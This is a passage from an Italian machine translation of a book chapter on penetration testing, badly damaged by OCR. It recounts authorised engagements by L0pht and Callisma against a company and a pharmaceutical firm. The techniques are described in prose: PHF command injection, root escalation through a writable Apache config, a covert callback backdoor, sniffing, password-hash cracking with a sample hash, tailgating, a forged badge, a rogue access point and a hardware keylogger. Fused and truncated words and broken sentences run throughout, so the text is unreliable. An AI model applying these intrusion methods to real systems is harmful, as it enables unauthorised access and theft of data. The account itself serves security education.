di cercare di ottenere informazioni dalmpster diving guardando attraverso

la societa spazzatura per scartoffie scartato easavpord o altri dati

di valore? Tutto questo deve essere precisatotici@m

Spesso la societa vuole solo un test limitato. @mioro del LOpht

gruppo, Carlos, vede questo come irrealisticopbotando che "gli hacker non lo fanno
lavorare in questo modo. »Si favorisce un appropiticaggressivo, quello in cui il
guanti sono fuori e non ci sono restrizioni. Quegto di test € non solo



piu rivelatore e di valore per il cliente, ma piagevole per i tester

pure. E ', Carlos dice, "molto piu divertente eressante.” Su questo,

Carlos ha ottenuto il suo desiderio: Newton ha tatedi un attacco senza esclusione di colpi.
Security si basa principalmente sulla fiducia. ieada assumente deve fidarsi del rezza
societa rezza affidato per eseguire la valutazitisécurezza. Inoltre,

la maggior parte delle aziende e agenzie govemathiedono un accordo di non divulgazione
mento (NDA) per proteggere legalmente informazamendali proprietarie

divulgazione non autorizzata.

E 'comune per penna tester di firmare un NDA, iarqa potrebbero venire

su informazioni sensibili. (Naturalmente, il NDAwskra quasi superflua

ous: Qualsiasi azienda che fatto uso di tutteflamazioni del cliente sarebbe probabilmente
L'arte dell'intrusione
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non riescono ad ottenere un altro cliente. La didone e essenzialmente un prerequisito.)
Spesso, penna tester sono inoltre tenuti a firmanglota afferma che l'impresa
fara del suo meglio per non influenzare le operdzaaiendali quotidiane dell'azienda.
L'equipaggio LOpht per il test Newton consistevaetie persone, che
avrebbe funzionato da solo o in coppia, ogni pexsogruppo responsabile FOCUS-
zione su un diverso aspetto delle attivita dellzieta.

Attack!

Con il loro get-out-of-carcere-liberi da visitaniembri del team LOpht potrebbero essere
aggressive come volevano, anche "rumoroso" - sagd svolgimento di attivita

che potrebbe richiamare l'attenzione su se smsaicosa di un tester penna solito

evita. Ma ancora speravano di rimanere invisitiie'piu fresco per ottenere tutto questo
informazioni e poi, alla fine sappiamo che nonrdewvato te. Sei

sempre cercando per questo ", dice Carlos.

Web server di Newton era in esecuzione il softve@r@er popolare chiamato

Apache. La prima vulnerabilita che Mudge avevadtoera il bersaglio com-

di societa Checkpoint Firewall-1 aveva una configione predefinita nascosta (regola) a
consentire in pacchetti con un UDP sorgente (Use¢a Protocol) o TCP

Port (Transmission Control Protocol) di 53 a quatie le porte alte

sopra 1023. Il suo primo pensiero e stato quellediare di montare il loro esportati
filesystem usando NFS (Network File System), matprsi rese conto che

il firewall aveva una regola che blocca I'accedstemnone NFS (porta 2049).

Anche se i servizi di sistema comuni sono statt¢ddi, Mudge conosceva

una funzionalita non documentata del sistema oper8blaris che legava

rpcbind (il portmapper) ad una porta sopra 327I7@ofdtmapper

assegna numeri di porta dinamici per alcuni prognamttraverso la

portmapper, e stato in grado di trovare la pontawhica che é stato assegnato a

il demone mount (mountd) servizio. A seconda dehito del

richiesta, Mudge dice, "il demone mount sara amcloampo Network File

Chiede di sistema perché usa lo stesso codicetteloubo il demone mount

dal portmapper, poi sono andato fino al demone 1hoom la mia

Richiesta NFS. "Utilizzo di un programma chiamatfsshell, fu in grado di distanza
montare il file system del sistema di destinazidviedge ha detto: "Abbiamo subito avuto la
dial-up numeri della lista. Abbiamo appena scaedhkloro interi file system esportati.
Abbiamo avuto il controllo totale del sistema ".

Mudge ha inoltre rilevato che server di destinagiera vulnerabile alla onnipresente
PHF foro (vedi capitolo 2, "quando i terroristi WieCalling"). Era in grado



per ingannare lo script PHF CGI per eseguire colratitrari passando il
Stringa Unicode per un carattere di nuova rigaiseglal comando di shell per
correre. Guardando intorno al sistema utilizzandé&,Fi rese conto che I'Apache
processo server e stato eseguito con I'accountedstno”. Mudge era

lieto di vedere che gli amministratori di sistemamo "bloccato il
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box "- cioe, assicurato il sistema informatico e éhesattamente cio che
dovrebbe essere fatto se il server e collegat;madete non sicura come
Internet. Cerco di file e directory, sperando dvare un
che era scrivibile. Dopo un ulteriore esame, soesz che I'Apache
file di configurazione (httpd.conf) era di propéetnche dalla voce "nessuno”.
Questo errore significa che ha avuto la capacisodiascrivere il contenuto della
file httpd.conf.
La sua strategia era quella di modificare il filednfigurazione di Apache in modo che il prossimo
tempo Apache é stato riavviato, il server verreddeguito con i privilegi
account di root. Ma aveva bisogno di un modo petifitare la configurazione in modo che poteva
cambiare cio utente Apache correva sotto.
Lavorando insieme con un uomo la cui maniglia ebitpbdue figurati
un modo per utilizzare il programma netcat, insie@me alcuni trucchi di shell, per ottenere
la cosa piu vicina ad una shell interattiva. Poicdr@ministratore di sistema
aveva apparentemente cambiato la proprieta deidila directory "conf"
a "nessuno” Mudge stato in grado di utilizzareoiihando "sed" per modificare
httpd.conf, cosi la prossima volta che Apache @ staviato, avrebbe eseguito come root.
(Questa vulnerabilita nella versione aggiornatagiche e stato dal
corretto.)
Perché le sue modifiche non entreranno in vigore &l prossimo Apache era
riavviato, ha dovuto sedersi e aspettare. Una viateiato il server, Mudge
e stato in grado di eseguire comandi come roa\atso |0 stesso vulnerabile PHF
vul-; mentre i comandi erano stati precedentemesgguiti sotto
il contesto dell'account "nessuno”, ora Apachdreesecuzione come root.
Con la capacita di eseguire comandi come rootfagie ottenere il pieno con-
controllo del sistema.
Nel frattempo, gli attacchi LOpht procedevano gt &bnti. Che Cosa
la maggior parte di noi in hacking e sicurezzamriaita dumpster diving, Mudge ha un
piu termine formale per essanalisi fisiche.
Abbiamo inviato persone oltre a fare analisi fisgctun dipendente [del
azienda cliente] Credo che era appena stato licoze invece di
gettando il suo lavoro di ufficio, avevano cestmattera sua scrivania. [ll nostro
ragazzi trovato] scrivania stabilite con la spaznat | cassetti erano pieni di
biglietti aerei vecchi, manuali, e tutti i tipi documenti interni.
Volevo mostrare [il cliente] che le buone pratidliesicurezza non sono
solo per la sicurezza informatica.
Questo e stato molto piu facile che passare attsavéutte le loro cose spazzatura
perché avevano un compattatore. Ma non potevanararene la scrivania in
compattatore.
Ho ancora quella scrivania da qualche parte.
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La squadra fisica entrato anche la sede azientidlzando un semplice
e, nelle giuste circostanze, il metodo quasi ififédl noto comebagagliaio
gating. Si tratta di seguire da vicino dietro un dipemeéecome lui o lei
passa attraverso una porta protetta, e funzione@armente bene in uscita
una caffetteria societa o altra area in gran paitiezato dai dipendenti, in un
zona protetta. La maggior parte dei membri delge&ate, in particolare quelle a basso ordinati,
hesi-
tate per affrontare uno straniero che entra ndibealdietro di loro,
per paura la persona potrebbe essere qualcunogh m azienda.
Un'altra squadra LOpht stava conducendo attaccitr@oelefonica aziendale
e sistemi di segreteria telefonica. Il punto ditpaza standard e di capire il Man-
produttori di realizza- e tipo di sistema utilizaatal client, quindi impostare un computer
composizione di guerra - che e, provando una estenslopo l'altro per individuare occupazione
ees che non hanno mai messo le proprie passwbahrw utilizzato password
sono facili da indovinare. Una volta trovato ureteho vulnerabile, gli attaccanti possono poi
ascoltare qualsiasi messaggi vocali memorizzadcKer telefono - "phreakers" -
hanno usato lo stesso metodo per effettuare chéaimaiscita a scapito della
societa.)
Mentre la selezione di guerra, la squadra di teleicOpht stato anche identificando azienda
interni telefonici risposto da un modem dial-up.e®i@ connessioni dial-up
a volte sono rimasti senza protezione, facendodalla sicurezza-through-obscurity
approccio, e sono spesso sul "lato di fiducia'fidelvall.
Oscuramento
Le giornate sono state rotolando da, le squadvamstaregistrando preziosi bocconcini di
formazioni
zioni, ma Mudge ancora non era venuto su con utlarite idea di causare
il sistema Apache riavvio modo che potesse ottelsreesso alla rete.
Poi una disgrazia avvenuta che, per la squadrayiit® un lato positivo:
Stavo ascoltando le notizie e sentito che c'eralaokout nella
citta in cui era situata l'azienda.
In realta era tragica, perché un lavoratore di itél era morto in un
esplosione botola attraverso sull'altro lato detliga, ma aveva
eliminato il potere per tutta la citta.
Ho pensato, se solo prendere abbastanza a lungogrstinare il potere, allora
sistema di backup di alimentazione del server mmibabilmente si esaurira.
Cio significherebbe il server avrebbe chiuso. Quaadotenza citta
e stato restaurato, il sistema riavvia.
Mi sono seduto li controllare il server Web in @t e poi ad un certo
punto il sistema é andato giu. Hanno dovuto riaceiaCosi i tempi
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era perfetto per noi. Quando il sistema si avvigieeco che
Apache € stato eseguito come root, proprio comeaaxe programmato.
La squadra LOpht a quel punto € stata in gradomiipromettere completamente i
macchina, che poi divenne "il nostro trampolindagiicio interno per la scansione di un
attaccare fuori da quel punto ". Per Carlos, questt un giorno di campo. "
Il team ha sviluppato un pezzo di codice che regiolm® improbabile che
potrebbero essere chiuse dal sistema. Firewaldaienon sono di solito con-



pensato per bloccane uscitail traffico, e programma leggero di Mudge,

installato su uno dei server di Newton, ha fatta aonnessione ogni pochi min-

sce di nuovo a un computer sotto il controllo detfaadra. Questo pro- collegamento
‘apposita interfaccia a linea di comando comehalts linea di comando” familiare
gli utenti di Unix, Linux, e il vecchio sistema apéivo DOS. In altre parole,

la macchina Newton forniva regolarmente la squddMudge il portunita

oppor- per immettere i comandi che aggiravanaéhiall della societa.

Per evitare di essere scoperti, Mudge aveva chaihlaro script per mescolarsi nella
lingua sfondo del sistema. Chiunque individuarfédlpotrebbe assumerla

era una parte del normale ambiente di lavoro.

Carlos impostato sulla ricerca dei database Oraalla speranza di trovare |l

dati del libro paga dei dipendenti. "Se si puo maostal CIO il suo stipendio e come
molto bonus e stato pagato, che di solito guidaat®a messaggio che

hai tutto. "Mudge ha istituito usniffersu tutte le email in entrata e in

fuori della societa. Ogni volta che un dipendengsvbdn andato al firewall

per lavori di manutenzione, LOpht era a conosceineaso. Erano scioccati da vedere
quel testo chiaro e stato utilizzato per il logim firewall.

In poco tempo, LOpht aveva completamente peneltnatera rete, e

aveva i dati per dimostrarlo. Dice Mudge, "Saigé guesto che penso che un sacco
delle aziende non piace avere le prove della pdeha parte interna delle loro reti.
Sanno che e tutto negativo. "

Revelations Voicemail

Il team ha scoperto che alcuni di telefono degéinti leader

trattative per acquisire la LOpht avevano le pasdwidodefault sul loro voicemail
scatole. Mudge e la sua squadra ha ottenuto uual eafalcuni di essi era divertente.
Uno degli elementi che avevano chiesto come comazdi vendere LOpht a

la societa e stata una unita mobile di operaziomi furgone carico che potevano
dotare con attrezzi wireless e I'utilizzo durartelyri test di penetrazione per cap-
turing comunicazioni wireless non crittografater o dei dirigenti,

I'idea di acquistare un furgone per la squadra L8pmbrava cosi scandaloso che
iniziato definendolo un Winnebago. La sua segrat@lefonica era piena di osservazioni sferzanti
da altri funzionari della societa circa la "Winngbd e il LOpht

squadra in generale. Mudge era divertito e indoidi
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Relazione finale
Quando il periodo di prova era finita, Mudge edaadra hanno scritto il loro
relazione e pronti a consegnare a una riunionegatide parteciperanno tutti i
dirigenti di Newton. Il popolo Newton avevano id#iacosa aspettarsi;
I'equipaggio LOpht sapeva che sarebbe stato usasesncendiario.
Quindi stiamo dando loro la relazione e siamo silappo aperte.
E sono in imbarazzo. Questo meraviglioso ammirtisteadi sistema, un
veramente bravo ragazzo, ma abbiamo avuto sniffattd, e che avevamo visto
lui cercando di accedere uno dei router, provanda password e
non riesce, provando un altro, non riesce, provandaltro, € non riesce, anche.
Queste erano le password di amministratore pex keitdiverse interna
sistemi, che i tester penna ottenuto tutto in witavda quello arco di pochi
minuti. Mudge ricorda pensando a quanto bello égfabe era.
La parte piu interessante e stato per i messaggaia cui erano



parlando di loro acquisto di noi. Loro ci dicevantsi, abbiamo

vogliono tutti voi ragazzi. "Ma i messaggi vocaé toro, erano

dicendo: "Beh, vogliamo Mudge, ma non vogliamo tjadisi

ragazzi, faremo fuoco non appena vengono su. "

Nel corso della riunione, i ragazzi LOpht giocakouai dei voicemail catturato
messaggi, mentre i dirigenti sedevano loro as@lpyoprio imbarazzo
ing parole. Ma il meglio doveva ancora venire. Meidgeva programmato una finale
sessione negoziati per I'acquisizione in modo eeeagia avuto luogo a
I'ora della riunione rapporto. Ha condiviso i dgltali tale riunione

con evidente gioia.

Cosi entrano e dicono: "Siamo disposti a dare quesil

numero piu alto che si possa andare a, e farento tyuesto

cose ". Ma sappiamo esattamente quali parti stasinendo che e

vero, quello che le parti stanno dicendo sono bugie

Si iniziera con un numero cosi basso-ball. E same; "Si,

cosa ne pensi? "E noi contrastata con:" Beh, nofatwiamo

pensiamo di poter fare a meno di ... "e chiamatwiinero che

sapeva era la loro figura in alto.

Ed e come, "Oh, oh, dovremo parlare di questo,permn e vero

darci qualche minuto, potete lasciarci soli in caafe"

Se non fosse stato per questo genere di cose, argransato molto
seriamente. Ma loro stavano cercando di tirare etoge uno.
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Alla riunione rapporto - le sessioni finali tragippresentanti
delle due societa - Mudge ricorda che "volevamo sol
assicuriamo potremmo convincerli che non c'erammaechina sulla
rete non potevamo avere pieno accesso a. "Catlmsla i volti di
diversi dirigenti "girando un po rossa" mentre dss@no.
Alla fine la squadra LOpht allontano. Hanno ottendittenere il $ 15,000
ma non ha venduto la societa che volta.
O
NE
La
LARMING
Sol
AME
Per consulente di sicurezza Dustin Dykes, I'hackiergprofitto € "esilarante.
Capisco i drogati di adrenalina, € un alto assoll@osi quando lui
arrivato nella sala conferenze hall di una sodet@aceutica che
chiameremo "Biotech"” per discutere di fare un degenetrazione per loro, era
di buon umore e in attesa della sfida.
Come consulente di piombo per la pratica dei sedvigicurezza del suo com-
societa, Callisma, Inc. (ora parte di SBC), Duatreva chiamato per la sua squadra a
partecipare alla riunione vestito in abbigliameditaffari. E 'stato colto di sorpresa
guando la gente Biotech si presentarono in jeastsytte pantaloncini, tutte le
piu strano perché I'area di Boston al momento isaffuno dei
piu freddi inverni in memoria.
Nonostante un background in gestione di computeparticolare, reti



operazioni di lavoro, Dustin ha sempre consideuat® persona di sicurezza,

un atteggiamento probabilmente ha sviluppato mdatendo un turno di servizio in the Air
Forza, dove, dice, "ho coltivato la mia paranotariée: la sicurezza mente-

set che ognuno é fuori per voi. "

Mettersi in contatto con i computer in seconda meda di sua matrigna

fare. Allora, ha lavorato per una societa come amsinatore di sistema.

Dustin é stato affascinato dalla lingua stranieien® ha usato quando

parlare d'affari al telefono. Quando aveva 13 diuna notte ha portato

a casa un computer che ho preso nella mia stap@aeammato per creare

Dungeons and Dragons personaggi e rotolare il mdb pler me. "Addentrarsi

libri sulla base e raccogliere tutto cido che potexaogliere da amici,

Dustin sviluppato le sue abilita. Si insegnato catilizzare un modem per

composizione nel posto di lavoro di sua matrignagpecare i giochi di avventura. In un primo
momento

voleva solo sempre piu tempo al computer, ma &irteslui reale

zato che il suo spirito libero, non sarebbe unanbymartita per trascorrere la sua vita

un terminale. Come un consulente di sicurezzapbe@otuto unire il suo talento con il suo
hanno bisogno di liberta. Questo e stato sicuraen&mta soluzione elegante.”

La decisione di fare una carriera nel campo délarszza si € rivelato essere un buon
COmMpromesso.

"Sono entusiasta di essere in questa professidieg’, "E 'una partita a scacchi. Ogni
muoversi, c'é una contromossa. Ogni mossa caniierd dinamica

del gioco. "
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Regole di ingaggio
Ha senso per ogni azienda di essere preoccupata penerabilita
sono - come un buon lavoro che stanno facendotaggere il loro intellettuale
proprieta, la protezione contro la perdita di fidudel pubblico che, inevitabilmente,
segue una pausa-in molto pubblicizzato, e custodire dipendenti
contro le intrusioni elettroniche furtivamente wthiata alle informazioni personali.
Alcune aziende sono motivate da ragioni ancorgpm@gsante, come non
incorrere di agenzie di cane da guardia del goveheopotrebbe significare perdere
un importante contratto o I'impostazione indietram progetto di ricerca fondamentale. Qualsiasi
com-
societa in possesso di un Dipartimento della Ditesdratto in questa categoria. Cosi e
qualsiasi societa di fare ricerca biotecnologigssgsle che ha la Food and
Drug Administration guardando oltre loro spalldhe @ la categoria
che il nuovo client di Callisma cadde. Con sostartemiche pericolose in giro, e
laboratori dove gli scienziati stavano conduceradoderca del noleggio hacker-per-non ha
vogliono sapere, questo sarebbe stato difficile.
Al primo incontro con Biotech, il team Callisma apgo che il
azienda ha voluto essere colpito con ogni attaossipile che un vero avversario
potrebbe tentare: semplice agli attacchi tecnimglessi, ingegneria sociale, e
fisiche irruzioni. | dirigenti della societa, coraespesso il caso, sono stati
alcuni tester penna troverebbero ogni loro sfocmmftto. Cosi Biotech
deposto le regole di punteggio: A dir poco soligid documentario
denza sarebbe accettabile.
Un processo di "cessare e desistere” e statatistiar il test. A volte



guesto puo essere semplice come un concordatopgrota di codice da qualsiasi designato
dipendente per fermare un attacco che colpiscetimageente della societa

lavoro. La societa ha anche dato indicazioni stamento di compromesso

informazioni - come sarebbe stato contenuto, quandarebbe capovolta

ea chi.

Poiché un test penna porta la possibilita di everdi potrebbero interferire con

il lavoro della societa, diversi Cosa fare se arfiibegno di essere affrontato in anticipo.

Chi nella catena di comando sara notificata quangotrebbe essere un

interruzione dei servizi? Esattamente quello chmalé del sistema possono essere compromesse
e come? E come faranno i tester sanno fino a chi® pun attacco puo essere

effettuata prima danni irreparabili o perdita diiffea azienda?

| clienti chiedono spesso solo per un test di patgacoinvolge un attacco tecnico e
trascurare altre minacce che possono lasciareddaiancora piu vulnerabile.

Dustin Dykes spiega:

Indipendentemente da quello che dicono, io sadl @biettivo primario € quello di indivi-
duare le loro debolezze del sistema, ma di sotitms/ulnerabili in

un altro modolUn vero attaccante andra per il percorso di minesistenza

ANCE, l'anello piu debole della catena di sicureZ2zame scorrere I'acqua

Capitolo 6 La saggezza e la follia di Penetratiestifig

125

Pagina 147
in discesa, l'attaccante e gonna go per il metoddipcio, che
€ piu probabile che con le persone.
Attacchi di ingegneria sociale, Dustin consigliaytebbero sempre essere parte di un
penna di prova societa. (Per maggiori informazgutisocial engineering, vedere il Capitolo 10,
"Gli ingegneri sociali - come funzionano e comenfarli.”)
Ma lui sarebbe felice di rinunciare un'altra palét repertorio. Se lui
non deve tentare l'ingresso fisico, non lo fara.l&@esi tratta di un ultimo
ricorrere, anche portando la sua get-out-of-libexecere carta. "Se qualcosa sta succedendo
ad andare male male, probabilmente sara propriodgusto cercando di scivolare in un
costruzione inosservato dalla forza di sicurezdaqualche dipendente sospetti. "
Infine, il team pen-test ha anche bisogno di sageat e il Santo Graal €. In
guesto high-stakes gioco sleuthing elettronicengldmentale sapere che pre-
precisamente. Per l'azienda farmaceutica, il S@ndal era il loro finan-
record ciali, clienti, fornitori, processi di fabbazione, e file su
i loro progettidiR & S.
Pianificazione
Il piano di Dustin per il test chiamato per partiaa "Silent Running” - keeping
un profilo basso, poi lentamente diventando semjpreisibile fino a quando qualcuno
finalmente notato e sollevato una bandiera. L'appoonasce dalla Dustin di
filosofia sui progetti pen-test, che si riferiscecameteaming rosso
Quello che cerco di realizzare negli sforzi teamiogsi € dal defen-
postura sive che trovo imprese raccogliendo. Pensdracciamo
assumere la mentalita dell'attaccante. Come cindiési
vero? "Questo € gia uno sciopero contro di loronN@anno come
hanno intenzione di agire o reagire meno che nameaio che e importante per
li.
Sono d'accordo; come ha scritto Sun Tzu: Conoscre nemico e te, e si vuole
vittoriosi.
Tutti i test approfonditi penna - quando il clieeté'accordo - utilizzano gli stessi tipi



di attacco descritto in precedenza in questo dapito

Identifichiamo nella nostra metodologia di quaténee: ingresso tecnico in

la rete, che € molto di cid che parliamo. Inge-ialec

neering, [che per noi comprende anche] l'interceibae e la spalla

surf. Dumpster immersioni. E poi anche l'ingressd. Cosi quelli

quattro aree.

( surf spallaé un termine colorato per surrettiziamente guardar

dipendente digitare la propria password. Un attatecasperto in questa arte ha
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imparato a guardare le dita che volano con sufftei@attenzione per sapere qual e il
persona ha digitato, pur fingendo di non esserst@melo attenzione.)
Attack!
Il primo giorno, Dustin entro nella hall del BiotedOff per il diritto di
la stazione di guardia era un bagno e la mensadele sia di
che erano facilmente accessibili ai visitatori.'8lito lato della guardia
stazione era la stessa sala conferenze dove ldrsggieDustin aveva raccolto
per il loro incontro iniziale con i dirigenti Biath. La guardia era cen-
maniera accentrata di stanza a guardare |'accessarip alle entrate garantite, ma
la sala conferenze era completamente fuori dataowo visivo. Chiunque
poteva camminare in, senza fare domande. Chetamgaite cio che Dustin e la sua
compagno di squadra ha fatto. E poi hanno avuto tiuempo di dare un'occhiata piacevole
intorno. Dopo tutto, nessuno sapeva che erano dnche
Hanno scoperto una presa di rete in tempo readspypribilmente per la comodita di
personale della societa che volevano essere i glicatcedere alla rete aziendale
lavorare durante le riunioni. Collegando un cavioeltet dal suo computer portatile a
la presa a muro, Dustin rapidamente trovato ciostlaspettava: Ha avuto accesso in
la rete da dietro il firewall della societa, chstéto un bando aperto
zione nel sistema aziendale.
Come una scena che dovrebbe aveMitsion Impossibleiproduzione di musica in
Sullo sfondo, Dustin fissato alla parete un picatikpositivo di accesso wireless
(Come quello della Figura 6-1) e inserito nellasprdl dispositivo
permetterebbe persone di Dustin di penetrare ¢aBigttech da
computer in una macchina o di un furgone parcheéggelle vicinanze, ma al di fuori Build- della
societa
ing. Trasmissioni di tale "punto di accesso wirglatispositivo (WAP) puo
raggiungere distanze fino a 300 metri. Utilizzanda antenna direzionale ad alto guadagno
permette di collegare al WAP nascosto da un distanzora maggiore.
Figura 6-1: dispositivo Wireless
del tipo usato nell'attacco.
Dustin favorisce unita di accesso wireless cheapebn europea
canali - che da la sua squadra penna un decisaggat dal momento che la za
guenze sono molto meno probabilita di essere tibevaoltre, "Non ha I'aspetto di un
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punto di accesso wireless, in modo che non purganée fuori. Li ho lasciato in su a
Finché un mese senza essere notato e portato giu ".



Quando si installa una di queste unita, Dustin enatiche un piccolo ma molto

nota carta dall'aspetto ufficiale che legge, "Prgprdi Information Security

Servizi. Non rimuovere ".

Con temperature che si aggirano alle sette di sggué Dustin né il suo

compagni di squadra, ora indossa jeans e T-shimn@inere in sincronia con |l
Immagine Biotech, ha voluto congelare i loro moariff seduto in una macchina parcheggiata
Su

il lotto. Cosi hanno apprezzato il fatto che Bibteweva offerto I'uso di

una piccola stanza in una zona non protette ddifiti® vicino. Niente di speciale,
ma la stanza era calda, e nel raggio d'azioneisi@bsitivo wireless. Essi

erano collegate - per la societa, un po 'troppododiegato.

Mentre la squadra ha iniziato ad esplorare ladeBiotech, il tentativo iniziale
ricognizione situato a circa 40 macchine che esegWdgindows

aveva un account amministrativo senza passwordnaga password giassword
word . In altre parole, non avevano sicurezza a thie, come notato in precedenza
storie e purtroppo il caso sul lato di fiducia élii @ziendali,

con le aziende concentrandosi su perimetro contliaticurezza per mantenere il cattivo
ragazzi, ma lasciando i padroni di casa al suagnotgulnerabile agli attacchi. Un
malintenzionato che trova il modo di penetrare girage il firewall € casa libera.
Una volta aveva compromesso una di quelle maccbinstin estratto tutto

la password hash per ogni account e corse quéstattiiaverso il

programma LOphtCrack.

LOphtCrack at Work

Su una macchina Windows, le password degli utemt snemorizzati in forma criptata (un
"Hash") in una zona chiamata la Gestione accouptatezione (SAM); il

le password non sono solo crittografati, ma criptafiorma strapazzate

noto come "one-way hash", che significa I'algoritdnarittografia

convertire la password in chiaro per la sua forntéografata, ma non in grado di convertire
il modulo cifrato al testo in chiaro.

Il sistema operativo Windows memorizza due versitahihash in

SAM. Uno, il "hash LAN Manager," o LANMAN, e una rgone precedente,

un residuo dei giorni pre-NT. L'hash LANMAN ¢ cdlata da

la versione maiuscola della password dell'utente éiiso in due

meta di sette caratteri ciascuno. A causa dellprgta, questo tipo di

hash & molto piu facile da decifrare rispetto al successore, NT LAN Manager
(NTLM), che tra le altre funzioni non converte lasgword

caratteri maiuscoli.

A titolo di esempio, ecco un hash effettivo peranmministratore di sistema di un
societa non faro il nome:
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Administrator: 500: AA33FDF289D20A799FB3AF221F322DMABC818FEO
5A120233838B9131F36BB1 ::
La sezione tra due punti che inizia "AA33" e terafR0DC" &
I'nash LANMAN. La sezione da "0ABC" a "6BB1" & illM
hash. Entrambi sono lunghe 32 caratteri, entraagpresentano la stessa password, ma
il primo € molto piu facile da decifrare e recuperk password in chiaro.
Poiché la maggior parte degli utenti sceglie uresward che € o un nome o un semplice
parola del dizionario, un attaccante di solitoimimpostando LOphtCrack (o



qualsiasi programma che sta utilizzando) per esegumi "dictionary attack” - testing
ogni parola nel dizionario per vedere se dimostesdere la password dell'utente.
Se il programma non ha successo con l'attaccoirlehdrio, la

attaccante iniziera un "attacco a forza bruta" guall caso il programma

cerca ogni possibile combinazione (ad esempio, AAMB, AAC ... ABA,

ABB, ABC, e cosi via), poi prova le combinazionidncludono lettere maiuscole
e minuscole, numeri e simboli.

Un programma efficiente come LOphtCrack pud rompgeraplice, lineare

le password (il genere che forse il 90 per centla g@polazione utilizza) in
secondi. Il tipo piu complicato puo richiedere orgiorni, ma quasi

tutte le password degli account soccombono nel temp

Accesso

Dustin presto aveva incrinato la maggior parteedpdssword.

Ho provato l'accesso al controller di dominio priracon il

[Amministratore] password e ha funzionato. Hannatado stesso

password sulla macchina locale come sul conto dhid®m. Ora mi

disporre di diritti di amministratore per l'interdominio.

Un controller di dominio primario (PDC) mantieneldtabase master di

account di utenti del dominio. Quando un utenteedeal dominio, il PDC
autentica la richiesta di accesso alle informazmemorizzate nel PDC del
database. Questo database master dei conti € emgia¢o il backup

controller di dominio (BDC) come precauzione inca&DC va

giu. Questa architettura e stata sostanzialmentkficeta con il rilascio di
Windows 2000. Queste versioni successive di Windawlizzano quello che viene chiamattiivo
Directory, ma per la compatibilita con le vecchie versidinivVindows,

vi € almeno un sistema che funge da PDC per il dimmi

Aveva le chiavi del regno di Biotech, I'accessodtinmterni

documenti etichettati o "uso interno”. "confideneiaA suo modo intenso,

Dustin passava ore a raccogliere informazioni &&ndal altamente confi-
denziali file di sicurezza di droga, che contenguoriormazioni dettagliate su possibili
effetti negativi causati dai farmaci societa ststtaliando.
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A causa della natura del business di Biotech,d'saz a queste informazioni &
rigorosamente regolata dalla Food and Drug Adnritisin, e il successo
del test di penetrazione dovrebbe costituire ogg#ttina relazione formale
tale agenzia.
Dustin anche guadagnato I'accesso alla bancaaatimendenti che ha dato il nome completo,
account di posta elettronica, numero di telefohigparto, la posizione, e cosi via.
Utilizzando queste informazioni, é stato in gradealezionare un obiettivo per la prossima fase di
il suo attacco. La persona che ha scelto era unimistratore di sistemi aziendali
coinvolto nella supervisione del penetration tédt capito, anche se ho gia avuto
un sacco di informazioni sensibili, ho voluto dirtrase che ci sono stati piu
vettori di attacco ", cioé piu di un modo per coorpettere informazioni.
Il team Callisma aveva imparato che se si vuoleaemin una zona sicura,
non c'é modo migliore che si fondono in un gruppoodupazione loquace
ees ritorno da pranzo. Rispetto alle ore mattwgiserali
guando le persone possono essere tagliente dilgjtdopo pranzo tendono ad essere meno
vigili, forse sentendosi un po 'logia come sistetigerisce il pasto recente.



La conversazione e cordiale, e il cameratismo gt flusso libero

spunti sociali. Un trucco preferito di Dustin & tjoeli notare qualcuno sta preparando
di lasciare la mensa. Che sara lui a camminarenticalebersaglio e tenere la porta

per lui, poi seguire. Nove volte su dieci - ancbgesrta a un assicurato

zona - |'obiettivo sara ricambiare gentilmente heteela porta aperta

per lui. Ed e in, senza sudore.

Allarmato

Una volta che era stato scelto il bersaglio, leagigai aveva bisogno di trovare un modo
per entrare fisicamente nella zona protetta, inovaa poter collegare alla destinazione del
computer di urkeystroke logger un dispositivo che registra ogni tasto digitato

sulla tastiera, anche tasti digitati all'avvio,npai che il sistema operativo

aveva caricato. Sul computer di un amministratoastema, questo sarebbe probabilmente inter-
password CEPT di una varieta di sistemi in retée®be anche significare

| tester penna sarebbero a conoscenza di messaggestuali tentativi di rilevare

le loro imprese.

Dustin € stato determinato per non rischiare dressatturati tailgating. Un po
ingegneria sociale e stato chiamato per. Con libeoesso alla hall e Cafe-

teria, si & ottenuto un buon sguardo ai badgeigendenti e impostare su
contraffazione una per sé. Il logo era un probleima semplicemente

copiato dal sito Web aziendale e incollato nella grogettazione. Ma

Non avrebbe bisogno di passare un esame di priammpne era sicuro.

Una serie di uffici Biotech era situato in un edliivicino, un condiviso

facilita con uffici affittata a diverse aziende. lodbby

aveva una guardia in servizio, anche di notte dimeisettimana, e un familiare
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lettore di schede che apre la porta dalla lobbgndo un dipendente
strisciato un badge con la codifica elettronicaetbo.
Vado durante il fine settimana, iniziano a lampeggiil falso distintivo che avevo
fatta. Sto lampeggiante il badge sul lettore e, naturalieen
non funziona. La guardia di sicurezza arriva, af@eorta, e
sorrisi. Sorrido indietro, e saltare da lui.
Senza dire una parola che passa tra di loro, Dag#@ma ottenuto successo
oltre la guardia, nella zona protetta.
Ma gli uffici Biotech giacevano ancora sicuro dieéincora un altro lettore.
Traffico Weekend nell'edificio era pari a zero.
Non c'e nessuno nel fine settimana per portelldtrexgerso. Cosi, try-
ing di trovare un mezzo alternativo di ingressawau una vetrata in
scala al secondo livello e figura cerchero la poetaedere se
apre o meno. Apro, si apre fino, non c'e distintivo
requisito.
Ma gli allarmi stanno andando fuori ovunque. A gteapare sto andando in
cio che é essenzialmente una scala antincendmalto dentro, la porta sbatte
dietro di me. Al suo interno, c'e un cartello, "naprire, allarme
suonera. "Il mio cuore batte 100 miglia all'ora.
The Ghost
Dustin sapeva esattamente che cubicolo a testdl gatabase dei dipendenti
la squadra aveva compromesso elencato effettiviaipos del cubo fisica per ogni
lavoratore. Con il campanello d'allarme risuonancosa nelle orecchie, si diresse verso il



cubicolo del suo bersaglio.

Un utente malintenzionato puo catturare le sequdnizesti su un computer con l'installazione di
soft-

ware in grado di registrare ogni tasto digitatpeeodicamente invia i dati a un

indirizzo specificato. Ma, determinato a dimostrakeliente che

erano vulnerabili ad essere penetrato in una \adietnodi, Dustin voleva

utilizzare un mezzo fisico per fare la stessa cosa.

Il dispositivo ha scelto per lo scopo era la Keyghl{wedere Figura 6-2).

Questo € un oggetto innocente che collega trastaeta

e il computer, e, a causa delle sue dimensioniiimatura, € quasi garantita

passare inosservato. Un modello pud contenereafimezzo milione di combinazioni di tasti, che
per l'utente medio di computer rappresenta setenabattitura. (C'é un

ribasso, tuttavia. L'attaccante deve fare un viaggritorno al sito

Quando e il momento di recuperare il logger e leggédati.)
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Figura 6-2: Il Keyghost keystroke logger.
